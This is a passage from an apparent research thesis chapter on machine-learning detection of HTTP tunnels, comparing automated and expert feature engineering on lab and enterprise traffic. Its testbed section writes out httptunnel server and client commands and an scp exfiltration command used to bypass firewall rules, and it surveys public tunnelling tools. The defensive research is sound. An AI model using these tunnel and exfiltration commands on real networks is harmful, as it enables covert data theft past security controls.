engineering since we use domain knowledge to manually decide which features
should be constructed from network traffic to support HTTP tunnel detection.
Our automated feature engineering approach to data preprocessing avoids
the manual steps of inspecting network traffic and using domain knowledge to
hand-select which features would be most suitable. It has similarities to the FI-
CUS framework Markovitch and Rosenstein [133], but instead of using standard
mathematical operators such as {+,−, ∗, /} we use operators suitable for the net-
work security domain. The operators we use include standard deviation, average,
length and entropy, each calculated in multiple contexts to construct additional
features. The choice of operators is informed from a review of the literature
and hence implicitly uses domain knowledge. Feature selection is then applied
to filter this large set of features to the most relevant ones for the supervised
machine learning application.
4.4.1 Process for HTTP Network Traffic
For our automated approach, we implement the four stage automated feature
engineering framework on HTTP network traffic. While some of the data pre-
processing steps in the framework are standard, there are two distinctive aspects.
Firstly, it purposely generates a large set of automatically derived features with
the assumption that feature selection can identify the most relevant ones for each
application. The aim is to provide as much information to the machine learning
algorithm as possible to achieve a data-driven result, rather than biasing the
result by discarding information too early in the knowledge discovery process.
The large set of features are constructed by applying a set of operators to each
base feature, and also re-applying operators in multiple contexts. The second
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Figure 4.5: Process for HTTP network traffic automated feature engineering
distinctive aspect is that operators are applied blindly to all base features with
matching data type, rather than to a manually selected subset of features.
The framework stages applied to HTTP traffic (as shown in Figure 4.5) are:
1. Protocol parsing: is used to convert raw network traffic into labelled fields.
By labelling each byte (or group of bytes) we know its data type, name
and value. Parsing is possible because network traffic conforms to certain
protocols. Tools such as Wireshark parse protocols at multiple layers, e.g.
data-link, network, transport and application layers. Using parsed fields
allows more accurate analysis of network traffic, e.g. simply applying a
regular expression to each packet will miss strings spanning multiple pack-
ets, but parsing the protocol first would allow fragments to be reassembled
prior to applying the regular expression. Parsed fields also support more
targeted analysis of network traffic, e.g. when searching for a particular web
browser, a regular expression can be applied only to the parsed value of the
HTTP header “User-Agent” rather than inefficiently applying to all traffic
including streaming video. The output of protocol parsing is a vector of
“base features” for each network connection.
A protocol parser which can decode many protocols can have very verbose
output. Hence we also filter the parser output to remove irrelevant protocol
information, e.g. if the purpose is to analyse HTTP application layer data
only, then all lower protocol information such as TCP/IP headers can be
discarded.
2. Construct single-connection derived features: In this stage we transform all
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fields output by the protocol parser to numeric fields which are supported
by the chosen SVM ML algorithm. Many HTTP protocol fields are strings,
so we apply operators to each field automatically to create numeric repre-
sentations of the fields. The operators are: length, entropy and unigram
vector (byte frequency distribution). The chosen set of operators is based
on those identified in a literature survey of features for network security
[46].
3. Construct multiple-connection derived features: to derive metrics repre-
senting behaviour. For each numeric feature the count, average and stan-
dard deviation operators are applied over multiple connections. Inferring
behaviour from network traffic generally requires monitoring activity over
time and across multiple connections. However it can be unclear whether
to monitor all traffic (e.g. to find unusual spikes in overall behaviour), or
per IP address, per source IP:destination IP pair, or per a different con-
textual feature. Rather than choosing a single context for aggregation,
we re-calculate the features in multiple contexts. Current contexts are per
source IP, per destination IP, and per source IP: destination IP pair. These
are calculated over a single window of 20 connections per context in a sim-
ilar way to the feature construction used in KDD Cup 1999 [102]. Other
windows, such as time windows could also be used.
4. Feature Selection: is used to reduce the large set of candidate features
to a smaller set of features relevant to the problem. Since we are using
supervised machine learning we have a labelled dataset. Hence feature
selection becomes finding which features are best predictors of the labels
in the dataset. A common univariate filter feature selection method is the
Information Gain Metric which ranks the features by their information gain
with respect to the labels. All features above a threshold gain level can be
retained while less relevant features are discarded.
We test the effectiveness of this process in experiments described below.
4.4.2 Implementation for HTTP Network Traffic
After testing software packages tcptrace, wireshark, tcpdump, yaf and Bro to
see which could automatically generate a useful base feature set, we chose the
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Figure 4.6: Feature construction, with shaded features used for machine learn-
ing
open source tool Bro [152]. As well as parsing HTTP sessions from raw network
traffic, Bro importantly also includes a domain specific scripting language which
allows its functionality to be extended. Hence we were able to develop a Bro
script to output a set of single-connection-derived (SCD) features for each HTTP
session.
In its default configuration, Bro generates basic HTTP features such as the
HTTP method, URL and request length. Each basic feature is of type string or
type numeric. Our custom Bro script extended this default output to generate
additional SCD features. This is shown in Figure 4.6. For each basic feature of
type string or uchar, we calculated the corresponding Shannon entropy, length
and unigram vector. The “operators” to derive additional features were chosen
based on a previous literature survey [46] as being useful for network security.
The automated approach differs from previous publications such as Web Tap
in that we blindly perform calculations on all available string features rather
than using human expertise to choose the most relevant string features and only
deriving new features from them. In addition to avoiding manual intervention,
this approach also has the advantage of generating a larger pool of information
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about each observation which is then accessible to classifiers to help discriminate
between different classes. The automated approach does not pre-judge whether
the feature is likely to be useful for classification, but instead lets data-driven
automated feature selection decide which is the most relevant subset of features
for the particular problem.
A second program was written to calculate multiple-connection-derived (MCD)
features over a sliding window of 20 HTTP sessions per context to produce ad-
ditional features for the sum, average and distinct count of all original numeric
features. Counters were maintained for three different contexts: per source, per
destination and per source-destination pair. Contextual features have been used
previously in the literature for intrusion detection [102]. These features can re-
veal unusual patterns such as a large number of requests from a single source to
a single destination which may otherwise be obscured by the many other HTTP
sessions in the network traffic of a host.
Bro also outputs some non-HTTP features such as IP addresses, ports and
timestamps. Since these features shouldn’t assist the goal of producing a gener-
alised detector, we filtered them from the dataset. While unprocessed timestamps
are not deemed useful, features derived from them across multiple sessions could
be used, e.g. average and variance of time between sessions. Deriving useful fea-
tures from timestamps is left as future work. Once SCD features (such as length
and entropy) were derived from string features, we filtered these original string
features from the dataset since we require only numeric features for our classifier.
The automated feature engineering we developed generates a total of 1141
features for each HTTP session. A summary of these is shown in Table 4.1. The
resultant feature vectors produce an “auto” dataset.
Generating 1141 features for each HTTP session is computationally intensive.
For a near real-time operational detector we require greater efficiency. Hence we
use feature selection to search for the most relevant subset of features. The full
set of features is only required prior to feature selection, after which the much
smaller subset of features can be generated for classification by the AutoHED
detector. This will improve the efficiency of the classifier.
Feature selection algorithms are readily available in machine learning pack-
ages and so the process can easily be automated. An algorithm which takes
into account the class label should be chosen so features are selected based on
their predictive ability. Suitable approaches are therefore wrapper algorithms or
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Feature# HTTP Feature Description
1 status code response status field, e.g. 404 for not found
2-259 request hdr length, entropy, unigram[256] for request
header
260-517 response hdr length, entropy, unigram[256] for response
header
518-775 request body length, entropy, unigram[256] for request
body
776-1033 response body length, entropy, unigram[256] for response
body
1034-1042 src port stats[9] source port stats per context
1043-1051 request body len stats[9] request body length stats per context
1052-1060 response body len stats[9] response body length stats per context
1061-1069 status code stats[9] response status code stats per context
1070-1087 request hdr stats[18] request header entropy and length stats
per context
1088-1105 response hdr stats[18] response header entropy and length stats
per context
1106-1123 request body stats[18] request body entropy and length stats per
context
1124-1141 response body stats[18] response body entropy and length stats
per context
Table 4.1: The full set of 1141 numeric web traffic features. Stats[18] includes
the sum, average and count for 3 different contexts (per srcIP, dstIP, src-dst
pair) repeated for length and entropy. unigram[256] is an array of 256 features
being the frequency count for each possible 8-bit character in the data.
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a filter method such as independent component analysis. For our experiments
we chose a filter method called Information Gain Metric. It performs univariate
feature ranking and is computationally cheap. For our classifier we retained all
features with an information gain greater than or equal to 0.75 as this provided
a sufficient level of filtering.
It is expected that different subsets of the original features will be relevant
to different tasks. We therefore anticipate the automated preprocessor module
can be reused for other HTTP detection problems with each problem selecting
a different subset of features. This expectation is tested in Chapter 5.
4.5 Experimental Method
HED is tasked with classifying HTTP sessions as either tunnel or non-tunnel.
For our classifier algorithm we chose Support Vector Machines (SVMs) since it
is often used in academia and industry, and because all our input features are
numeric. Since HED uses a supervised machine learning approach, our experi-
ments involved acquiring labelled datasets and then performing training, cross
validation and evaluation of the classifiers. The experiment flowchart is shown
in Figure 4.7. The flowchart starts with a mixture of normal and tunnel network
traffic stored in packet capture (PCAP) format. The traffic is processed into
feature vectors, labelled “normal” or “tunnel”, and saved in attribute-relation
file format (ARFF) used by the chosen machine learning framework Weka [188].
Tunnel traffic is created in a lab environment using well-known tunnelling soft-
ware and custom tunnel software developed for this experiment. Normal traffic
was captured from the lab environment and from an enterprise network. The
resultant dataset is then split into 60% training, 20% cross validation, and 20%
testing datasets. The machine learning algorithm is trained multiple times on
the training dataset, each time with different parameters, to produce a number
of alternate models. Each model is evaluated on the cross validation dataset and
the model with highest f-score is selected. Finally, the selected model is applied
to the test dataset and the results are reported.
4.5.1 Datasets
There is a recognised lack of publicly available labelled datasets for testing net-
work intrusion detectors [144]. Hence we obtained our own datasets, choosing
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Figure 4.7: Machine learning experiment flowchart
a mixture of live, testbed and synthetic traffic to provide enough “normal” and
“tunnel” samples for training and testing.
Live Traffic
Live traffic was captured from the perimeter of an enterprise network containing
web sessions for thousands of users. Our motivation for using this data was
as a source of realistic normal training instances for our detector. The dataset
is expected to contain a diverse range of web traffic which would be difficult
to simulate. To accurately label the data as “normal” or “tunnel” we needed
to identify any HTTP tunnels contained within it. To achieve this we first re-
implemented the tunnel hunter algorithm [40]. Second, we created signatures
in Snort for known open source tunnels. We then ran both Snort and tunnel
hunter over the data and investigated any matches. This approach returned
zero validated matches. The live dataset was therefore all labelled “normal”.
The result is an enterprise pcap archive called “Ent”.
To test whether classifier results remain consistent over time and across net-
works we obtained two additional traffic datasets. “Ent1” consists of two hours
of traffic captured from the same gateway as the training data but from a dif-
ferent month. “Ent2” is another pcap archive consisting of twenty four hours of
traffic captured from a different network perimeter at a different time. Snort
and tunnel hunter were run over this data in the same way with zero validated
matches, so all data can be labelled “normal”. Some ML applications are over-
fitted to their training dataset. Hence we plan to use the “Ent1” and “Ent2”
datasets to show that the classifier can maintain accuracy across datasets.
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Figure 4.8: Testbed network for running HTTP tunnels
Testbed Traffic
HTTP tunnels were run on a standalone testbed. This avoided compromising
the security of the live networks. The testbed configuration in Figure 4.8 is a
simplified network gateway environment separating internal and external hosts.
The testbed consisted of some virtual internal and external hosts separated by
a simplified network gateway environment. The gateway ensured internal hosts
could only communicate with external hosts via a web proxy and a firewall. All
other traffic was blocked. For some tests we removed the requirement to hop
via the HTTP proxy to see whether tunnels in non-proxy mode operated any
differently.
After configuring the testbed, we confirmed services such as SSH and IMAP
were blocked between internal and external hosts. Next we installed HTTP tun-
nelling software with the intention of running these disallowed services through
the tunnel and bypassing the network security of our testbed. This required us
to install HTTP tunnelling software on one internal machine and one external
machine. tcpdump was run at the start and end of the tunnel to capture all
HTTP traffic for our testbed dataset.
As an example, GNU httptunnel was configured to run the tunnel server
on host TunnelEndPoint to listen on port 80 using command “hts -F lo-
calhost:22 80”. The client was run on TunnelStartPoint with command
“htc -F 31234 TunnelEndPoint:80”. It connects to the tunnel server and lis-
tens on arbitrary local port 31234. The port numbers are arbitrary because
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they are not used as features by our detectors. Also note that different com-
mand line options were required for the tunnel to use a proxy. Data was then
exfiltrated to the external workstation over the HTTP tunnel by running “scp -
P 31234 data.file localhost:” on host TunnelStartPoint. To create a di-
verse range of tunnelled network traffic we ran other services over the tunnel such
as IMAP by using SSH’s port forwarding functionality to connect the internal
workstation to external services. In all our experiments (except for interactive
SSH), SSH is used as only a port forwarding tool. While SSH encrypts all the
data to be tunnelled, it does not appear obviously encrypted in the network traf-
fic of the HTTP tunnel. The tunnelling software encodes the encrypted data so
it can be used with the HTTP protocol, e.g. encoding data to use only characters
allowed in the HTTP URI field.
The traffic sent over the tunnel included: small and large interactive SSH
sessions; small and large files transferred via SCP; SMTP, POP3 and IMAP
data; HTTP web browsing; and remote desktop data. For completeness the data
was sent through the tunnel in both directions, i.e. the transfer was initiated
first from an internal machine and sent externally, and second the transfer was
initiated from the external machine. In all cases the tunnel had to be initiated
from the internal machine due to the firewall rules and the web proxy. Reverse
SSH was used to enable control of data over the HTTP tunnels from an external
machine.
In addition, some standard HTTP web browsing was performed on the test
network (not tunnelled) and the traffic was captured as “normal” traffic. The
“normal” testbed traffic was required to demonstrate the detectors find tunnels
due to the characteristics of the tunnels, rather than due to unforeseen differences
between the testbed traffic and the live or synthetic traffic.
Rather than trying only a single HTTP tunnel, our approach was to train
a classifier on a diverse range of HTTP tunnels to give it the broadest possible
detection capability. Hence we searched for openly available HTTP tunnel im-
plementations which could be used in experiments. Ten implementations were
used as listed in Table 4.2. We set up our testbed 10 times, each time with
a different HTTP tunnel installed, ran data over the tunnels and captured the
network traffic.
The HTTP tunnel implementations can be categorized by their method of
exfiltrating data:
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Name Tunnel Description
GNU httptunnel [22] client-server software for HTTP tunnel
between two machines or via a proxy.
Data sent via long POST, and retrieved in
responses to a periodic HTTP GET.
httptunnel-mod modified version of GNU httptunnel to use
multiple short POST messages for sending
data rather than a single long POST.
cctt [29] client-server software where tunnelled
data is sent in a HTTP POST and
received in the HTTP response. When via
a proxy, cctt uses the HTTP connect
method instead.
corkscrew [148] simple client TCP tunnelling tool
using the CONNECT method and
requiring a HTTP proxy. Used with SSH
in these experiments. No corkscrew
server required.
firepass [62] client-server software using HTTP
POST to send and receive tunnelled data
to a firepass server or via a proxy.
Control plane data is sent in non-standard
HTTP header fields such as X-Session and
X-Counter.
httptunnel-win [186] cross-platform software can tunnel
data through restrictive HTTP proxies
using the HTTP post method and its
response. It supports network traffic
encryption and compression.
porttunnel-win [195] Proprietary TCP/IP port redirector
for Windows. It can tunnel TCP
connections through HTTP proxies. In
this experiment we used the CONNECT
method via a proxy.
soht [45] socket over HTTP tunnelling uses a
Java client and server to create a HTTP
tunnel, optionally via a proxy. Data is sent
in the body of HTTP POSTS and received
in the body of the HTTP response.
sshwebproxy [44] Simpler version of soht. It is a Java
Servlet application that provides SSH Shell
sessions and file transfers in a web browser.
It is an HTML SSH Client. Data is sent in
HTTP POSTs and received in responses
to separate HTTP GET requests.
wsh [63] Perl client and server HTTP
tunnelling software to send shell
commands from the client to the server via
HTTP POSTs. The server runs the
commands and returns command output
in the HTTP response messages. Data is
XOR encoded.
Table 4.2: Third party HTTP tunnel implementations
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• HTTP POST method was used by GNU httptunnel (and mod), cctt,
firepass, httptunnel-win, soht, sshwebproxy and wsh to send data
from an internal host to an external one. For these tunnels two different
methods were used to receive data. The first method received data in
the body of the HTTP response to the initial POST. The second method
received data in the body of a HTTP response to a separate HTTP GET
request. E.g. The GNU httptunnel client sends a HTTP GET request
periodically to poll for data from the server.
• HTTP CONNECT was used by cctt-proxy, corkscrew and porttunnel-
win. When HTTP CONNECT is used, the HTTP proxy server sets up a
TCP session to the desired destination host and then transparently passes
all traffic between the client and server. Hence, once the initial CONNECT
has succeeded, arbitrary data can be sent bidirectionally until the TCP
session closes.
Capturing and preprocessing this testbed traffic resulted in 58,789 “tunnel”
HTTP sessions. Additionally, creating legitimate web traffic on the testbed re-
sulted in 4,300 “normal” sessions. This data was labelled accordingly.
Synthetic Traffic
A commercial BreakingPoint4 traffic generator appliance was used to generate a
synthetic dataset. Advantages of the synthetic data include being reproducible,
avoiding the privacy concerns of live data, and also because it can be used as
background traffic for hiding tunnels.
Unfortunately we weren’t able to generate HTTP tunnels using this appliance.
Instead we generated tunnelled traffic separately, saved it as a pcap file, then
imported into BreakingPoint so it could be replayed during the simulation,
thereby hiding it in background normal traffic.
Each BreakingPoint simulation was run for 10 minutes to generate back-
ground traffic and HTTP tunnel traffic simultaneously. The background traffic
rate was approximately 4MBit/sec resulting in pcap archives of 350MB for each
simulation.
4BreakingPoint http://www.ixiacom.com/products/storm
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4.5.2 Expert Feature Engineering
We implement “expert” feature engineering as a second data preprocessing method
for comparison with our proposed automated feature engineering. The expert
approach follows a similar path to other published tunnel detectors [14, 166] by
relying on human expertise to guide the feature engineering. Features are only
constructed if they are thought to help differentiate HTTP tunnel traffic from
normal traffic. Any features deemed irrelevant to the detector are excluded. To
construct “expert” features we manually inspected network traffic produced by
HTTP tunnels and from normal usage to find discriminating behaviours or pro-
tocol attributes. We also studied the features used by a similar HTTP tunnel
detector called Web Tap [14].
Using network packet capture files (known as pcap) as input, the data pre-
processing includes TCP session reconstruction, and then parsing the HTTP
application protocol to produce an output vector of 24 manually constructed
features (plus target class) for each HTTP session as shown in Table 4.3. These
feature vectors form an “expert” dataset. When HED is trained on that dataset,
we call the resultant classifier ExpertHED.
Two types of features were constructed for this dataset. Firstly, single-
connection-derived features (SCD) such as the HTTP method field and the en-
tropy of the requested URL were constructed from information within the single
session. Secondly, multiple-connection-derived features (MCD) were constructed.
These are statistics calculated across multiple HTTP sessions, such as the av-
erage content length for a HTTP request. In ExpertHED, MCD statistics are
calculated over a window of HTTP sessions. In our experiments we chose this
window to be 100,000 sessions because the MCD features were calculated per
source-destination IP pair context. Assuming many sources communicate with
many destinations, we require a large session count to ensure sufficient history
for each context. This parameter can be tuned. Note: 100,000 sessions corre-
sponded to approximately 15 minutes in one of our Enterprise datasets. Hence
MCD statistics are only meaningful for tunnels which are active multiple times
during that period. The window should be made larger to cope with slow and
stealthy tunnels. The per source-destination pair context for MCD features was
chosen because we can expect a host running the HTTP tunnel client to produce
a mixture of normal traffic and tunnel traffic. This would be the case when
malware infects a host inside the network and then installs and runs a HTTP
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tunnel client. The host would continue to be used normally by its user, gener-
ating normal traffic, at the same time as the HTTP tunnel is used for malicious
purposes. Evaluating each source-destination pair separately helps separate the
tunnel traffic from the legitimate traffic. Note: all tunnels tested in this chapter
are single source to single destination as all the commonly-available tunnelling
tools use this standard configuration.
# HTTP Feature Type Description
1-3 method binary flags for the HTTP method used
GET/POST/other
4 post has response binary flag whether a response was received
5 number requests numeric number of requests for this src-dst pair in
window
6 has referrer boolean flag whether the HTTP referrer header
exists
7,8 src-dst content l numeric client and server flow content lengths in
this session
9,10 src-dst av content l numeric average content lengths for the src-dst pair
in window
11,12 repeated content l binary flags whether this is a repeated content
length for the src-dst pair
13 proportion http post numeric proportion of HTTP POSTs for this
src-dst pair in window
14 concurrent channels binary flag src-dst pair having more than 1
session active concurrently
15 url entropy numeric entropy of the URL
16 url average l numeric URL length for this src-dst pair in window
17 repeated url binary flags repeated URLs for this src-dst pair,
e.g. tunnel heartbeats
18 user cookie count numeric unique cookies for user in window, e.g.
cookies data exfiltration
19 pot info leak numeric total length of the client request is max
potential leakage
20 count info leak numeric total potential information leak for this
src-dst pair in window
21 uniq users to domain numeric number of users accessing domain in
window.
22 cache binary flag whether the header “Cache Control”
is set to “no-cache”
23 known tunnel header binary flag if headers match a blacklist of known
tunnel headers
24 client content entropy numeric entropy of HTTP request body
Table 4.3: The 24 features of web traffic used by “expert” HED
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4.5.3 Auto and Expert Dataset Generation
A mixture of live, testbed and synthetic pcap archives were used when building
datasets for our machine learning-based HED classifiers.
The preprocessing steps described in Sections 4.5.2 and 4.4 were applied to
the “Ent” live data and the testbed data. The combined traffic was found to have
orders of magnitude fewer tunnel sessions than normal sessions. Sub-sampling
of the normal sessions was used to achieve a more balanced dataset containing a
total of 85,878 records of which 68% are tunnelled testbed traffic. This dataset
was then split into 60%, 20% and 20% proportions for training, cross-validation
and evaluation datasets respectively (as shown in Figure 4.7). The preprocessing
was repeated for the expert and automated feature engineering methods to create
“expert” and “auto” datasets respectively. All other data was used for testing
only (no training).
4.5.4 HED Training and Cross Validation
HED uses the LibSVM library with a radial basis function (RBF) Gaussian
kernel. This has two important tuning parameters: σ which controls the width
of the Gaussian function (or equivalently γ which is 1
2σ2
), and C which controls
the amount of regularization applied as discussed in Section 4.3.2. Without
regularization the SVM is prone to overfit the training dataset and so is unlikely
to generalize to unseen HTTP session examples. Too much regularization and
the SVM will underfit the data and produce inferior classification results on both
the training and test datasets.
Multiple SVM models were therefore trained on normalized data, each with
different values for the tuning parameters. The resultant models were run against
the labelled cross-validation dataset to find the best parameters. A Weka meta-
classifier called “GridSearch” was used to semi-automate this process.
For the “expert” dataset, feature selection was not used since the features
were already hand crafted. During cross validation, GridSearch returned the
best parameters as: C = 243, γ = 10.
For the “auto” dataset, feature selection was applied. This reduced the origi-
nal 1141 features to a final dataset containing 25 features as shown in Table 4.4.
Of these, 5 are SCD features and 20 MCD. A classifier called AutoHED was then
trained and tested using the top 25 features. During cross-validation GridSearch
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returned parameters: C = 243, γ = 10. The best parameter combination was
found be the same as for the “expert” dataset with 25 combinations tested (five
values were tested for C = 31, 32, . . . , 35, and five for γ = 10−2, 10−1, . . . , 102).
4.6 Results
The two HED classifiers were evaluated on the test datasets with results shown
in Table 4.5. The results were first put into a confusion matrix showing the
number of true positives (tp), true negatives (tn), false positives (fp) and false
negatives (fn) in each experiment. From the confusion matrix a number of
standard measures were calculated. These include:
False positive rate FPR =
fp
tp+ tn+ fp+ fn
Accuracy ACC =
tp+ tn
tp+ tn+ fp+ fn
Precision =
tp
tp+ fp
Recall =
tp
tp+ fn
and
Fscore =
2× precision× recall
precision+ recall
Values were converted to percentages as required.
Each detector achieved similar results between training, cross validation (CV)
and test datasets. This is expected since these three datasets come from data
captured on the same networks in similar time frames, i.e. they are the 60/20/20
split of the original dataset. Of more practical interest is whether the detector
maintains accuracy on other network traffic captures. To find out we tested the
detector on datasets “Ent1”, “Ent2” and “Custom”.
4.6.1 Ent1 and Ent2 Dataset Results
As shown in Table 4.5, classification accuracy was maintained from the smaller
Test dataset to the Ent1 dataset which contained approximately 8 million HTTP
sessions. No tunnels were expected in the data. However, AutoHED classified 108
sessions as “tunnel” with 19 having confidence level above 0.9. We investigated
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InfoGain HTTP Feature Description
0.887 req hdr l stats[av/dst] average request header length per
destination
0.885 req hdr l stats[av/src] average request header length per source
0.883 req hdr l stats[av/pair] average request header length per
source/destination pair
0.882 req hdr l stats[sum/src] sum request header length per source
0.877 req hdr e stats[av/dst] average request header entropy per
destination
0.874 req hdr e stats[av/pair] average request header entropy per
source/destination pair
0.872 req hdr e entropy of the request header
0.870 req hdr l stats[sum/dst] sum request header length per destination
0.862 req hdr l length of the request header
0.856 req hdr e stats[sum/dst] sum request header entropy per
destination
0.852 req hdr l stats[sum/pair] sum request header length per
source/destination pair
0.843 req hdr e stats[sum/pair] sum request header entropy per
source/destination pair
0.817 resp hdr l stats[av/src] average response header length per source
0.814 resp hdr l stats[sum/src] sum response header length per source
0.814 req hdr u[] unigram count for ASCII character 46 in
request header
0.807 resp hdr l stats[av/pair] average response header length per
source/destination pair
0.806 resp hdr l stats[av/dst] average response header length per
destination
0.790 resp hdr l stats[sum/dst] sum response header length per
destination
0.788 req hdr e stats[av/src] average request header entropy per source
0.785 req hdr e stats[sum/src] sum request header entropy per source
0.776 req hdr u[] unigram count for ASCII character 32 in
request header
0.768 resp hdr l stats[sum/pair] sum response header length per
source/destination pair
0.767 req body e stats[av/src] average request body entropy per source
0.766 req body e stats[sum/src] sum request body entropy per source
0.763 resp hdr l length of the response header
Table 4.4: Ranked list of Auto features with Information Gain greater than
0.75 results in 25 features
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Expert Auto
Data FPR ACC Fscore FPR ACC Fscore
CV 0.000% 99.94% 0.9994 0.000% 100.00% 1.0
Test 0.000% 99.93% 0.9993 0.006% 99.99% 0.9999
Ent1 0.001% 99.99% - 0.001% 99.99% -
Ent2 0.001% 99.99% - 0.002% 99.99% -
Custom 0.000% 00.00% - 0.000% 43.68% 0.6080
Table 4.5: ExpertHED and AutoHED classifier results for various datasets.
Fscore is undefined where the number of true positives is zero.
these alerts. 16 alerts involved Shockwave Flash POSTS to Akamai hosts. These
each contained sequences of POSTS between a single source and single destina-
tion, making it appear similar to a HTTP tunnel. The alerts were therefore
false positives. The remaining three alerts were triggered by unusual internal to
internal traffic (therefore not an exfiltration tunnel and should be filtered from
the dataset).
ExpertHED produced 274 alerts from the same dataset. 144 of these alerts had
confidence level above 0.9. The majority of these alerts were on sessions using
HTTP CONNECT to banking sites and educational institutions, i.e. they all
appear to be false positives. The sites causing the false positives could potentially
be iteratively whitelisted to avoid the alerts being repeated. Interestingly there
was no overlap between the alerts produced by AutoHED and ExpertHED, probably
due to their different choices of features.
A very similar result was obtained on the Ent2 dataset. AutoHED produced 66
alerts of which 32 had confidence level above 0.9. All of these 32 alerts were from
sessions trying “CONNECT urs.microsoft.com” for Microsoft’s URL reputation
service. Tunnels made by Corkscrew and porttunnel-win in the training data
use HTTP CONNECT in a similar way to these false positives which may explain
their cause. False positives such as these could be eliminated with whitelists.
ExpertHED produced only 3 alerts on Ent2. One was triggered on a session
consisting of multiple HTTP GET requests with large cookie fields to a weather
forecasting website, and small responses such as a 1x1 image or a “304 Not
Modified” HTTP response. Transmitting more data out of the network than is
returned could indicate tunnelling (although in this case it is a false positive).
ExpertHED also has a “info leak” feature which measures the amount of data
which could have been potentially leaked in the HTTP session. The large cookie
fields would contribute to the potential information leakage, which may be why
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these sessions were classified as “tunnel”.
The fact that AutoHED maintained accuracy on Ent2, despite this dataset
being from a different network to the training data is encouraging for its potential
suitability on a real network. The performance of AutoHED and ExpertHED was
very similar on these datasets, with 174 and 277 false positives respectively.
Alerts could be further post-processed to reduce the false positive rate, e.g. using
whitelists.
4.6.2 Custom Dataset Results
We also tested whether the detectors could identify novel HTTP tunnels. Three
custom HTTP tunnel programs were written independently. We ran these tun-
nels, captured the resultant network traffic, and then passed it to our HED detec-
tors. Note: the three custom tunnels were therefore not included in any training
data. Most of the tunnels were missed, with only AutoHED detecting one of the
three tunnel implementations. We investigated why only one of three custom
tunnels was detected. The detected tunnel used HTTP POSTS to send encoded
data in the HTTP payload, and received data in the XML payload of HTTP
responses. This is a similar method to the majority of the open-source tunnels
in the training set such as firepass and soht. In contrast, the two undetected
custom tunnels used HTTP GETs to send encoded data in URL parameters,
and received data in GIF images and HTML body elements respectively. This
method of sending data was not used by any of the tunnel implementations in
the training data. As a result, the request header length for the custom tunnels
is much larger than any tunnels in the training set. Note: the publicly available
tunnelling tools in the training set instead sent data within HTTP POSTs or
following HTTP CONNECT.
These results highlight the limitations of using a supervised machine learning
approach. With this approach, the classifier should find tunnels which are the
same as (or very similar to) those in the training set. Novel tunnels will likely
be missed.
4.6.3 ROC and Learning Curves
The ROC curves in Figure 4.9 are calculated from the test dataset. It is zoomed
in to display only the operationally useful range of false positive rate less than
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Figure 4.9: ROC curves for the HED detectors
0.01 percent. In this range ExpertHED and AutoHED display good performance
with true positive rate about 0.999 when the false positive rate is below 0.006%.
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Figure 4.10: Learning curves for the HED detectors
Training the SVM classifier takes longer the more samples are added to the
training set. Hence we were interested to know how many training samples
are required to achieve 99.9% detection accuracy. The resultant learning curves
in Figure 4.10 show that the training set should contain approximately 10,000
samples to achieve the target accuracy. We used approximately 50,000 samples
for training. A standard workstation (Intel Core i5 processor with 8GB of RAM)
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was suitable for building models from training sets of this size and dimensionality.
Training time was in the order of minutes.
4.7 Discussion
AutoHED achieves very similar results to ExpertHED over most datasets. On the
Test dataset AutoHED achieves a slightly better Fscore of 0.9999 compared to
0.9993 for ExpertHED. Since the number of HTTP sessions occurring daily in an
enterprise network is greater than 106, a difference of 10−4 in classifier Fscore can
correspond to a large difference in the number of false predictions. Whether the
difference would be drowned out by other factors on real-world networks is an
open question. On the Custom dataset, AutoHED showed better performance in
its ability to detect one custom tunnel implementation which was not present in
the training data, while ExpertHED failed to detect any custom tunnels. Overall,
we conclude that automated feature engineering is at least as suitable as manual
feature engineering for tunnel detection on our datasets.
We explored why the results were approximately equal despite AutoHED and
ExpertHED using different features. For AutoHED, the top ranked features were
averages of the request header length and entropy in each context, followed by
individual request header length and entropy. For ExpertHED however, the high-
est ranked feature was the individual url entropy, followed by a known tunnel
header flag, the user cookie count, and the proportion of HTTP POSTs between
each source and destination. The lists have very little overlap, so not much can
be concluded other than there are multiple ways to achieve similar results.
We also tried AutoHED with the full set of features (called AutoFullHED)
rather than the 25 chosen by feature selection. However the accuracy of the
detector dropped slightly and the time to compute all 1141 features for each ses-
sion increased processing time significantly. We expect HED will require periodic
retraining as the underlying network traffic changes and as different tunnelling
software is implemented and detected.
The contribution in this chapter was the automated feature engineering method
which generates key features directly from raw HTTP network traffic suitable for
HTTP tunnel detection. We think this should provide two advantages. Firstly,
the extensive set of HTTP features generated from HTTP traffic could poten-
tially be applied to more detection problems. Features relevant to each detection
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problem would be chosen objectively using feature selection (rather than hand-
picked by a domain expert). Secondly, since features are generated automatically,
it could speed the development of new detectors on HTTP traffic. To verify au-
tomated feature engineering method we built a classifier from these features and
measured its HTTP tunnel detection performance. For comparison, we also built
a second classifier using features designed and chosen manually based on analysis
of tunnel network traffic and previous literature. We compared the accuracy of
the two classifiers and demonstrated that features generated automatically were
as effective as those generated manually.
Limitations of our work in this chapter are left as future work. While our
supervised machine learning approach successfully detected known tunnel types,
it was very limited in its ability to detect novel tunnels. Future work will therefore
investigate incorporating unsupervised techniques for anomaly detection. We
will also test online learning algorithms which are more suitable for processing
streams of data (such as computer network traffic) and which can better cope
with evolving data. Evolving normal traffic is likely to increase the false positive
rate of our detectors unless periodic retraining is performed. Future work would
therefore compare multiple classifier algorithms to find which is most suitable
for the type of data.
The HTTP tunnel detector has been tested on less than a day of captured
traffic, and no tunnels have been detected with it in real traffic (only in laboratory
traffic). A limitation of this work is we are currently unsure whether the detector
would be useful in practice or whether the base rate fallacy [5] means the number
of false positives produced would make it impractical to run on a large network.
Further testing will be performed.
The automated feature engineering process in this chapter is implemented
for HTTP network traffic. Domains with different input data such as images or
genomes necessarily require their own data preprocessing. The types of features
generated by our process were taken from previous literature. While it already
generates a number of feature types, the process could be extended to produce
further useful features as these are discovered by the community.
The HTTP tunnels in this chapter are all single source to single destina-
tion protocol tunnels. Future work could investigate detection of other types
of protocol tunnel. Also, since our approach currently relies on visibility of
application-level information, it does not detect tunnels over encrypted HTTPS
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unless they are first initiated with a HTTP CONNECT method to a proxy (or
are man-in-the-middled). Further work could investigate tunnel detection when
only encrypted data is available for analysis.
Next we compare our results to the literature.
4.7.1 Comparison to Existing Detectors
One of our aims is to show that similar detection results can be obtained using
automated feature engineering as compared to most detectors which use manu-
ally derived features. In Section 4.5, we compared our two new HTTP tunnel
detectors AutoHED and ExpertHED, with each having similar results. In this sec-
tion we compare our detector results to others in the literature as shown in Table
4.6.
Name FPR ACC F1-
score
Test
Flows
Apps Features
AutoHED 0.01% 99.99% 0.9999 85,878 9 length, entropy and unigrams of
requests and responses
Tunnel
Hunter
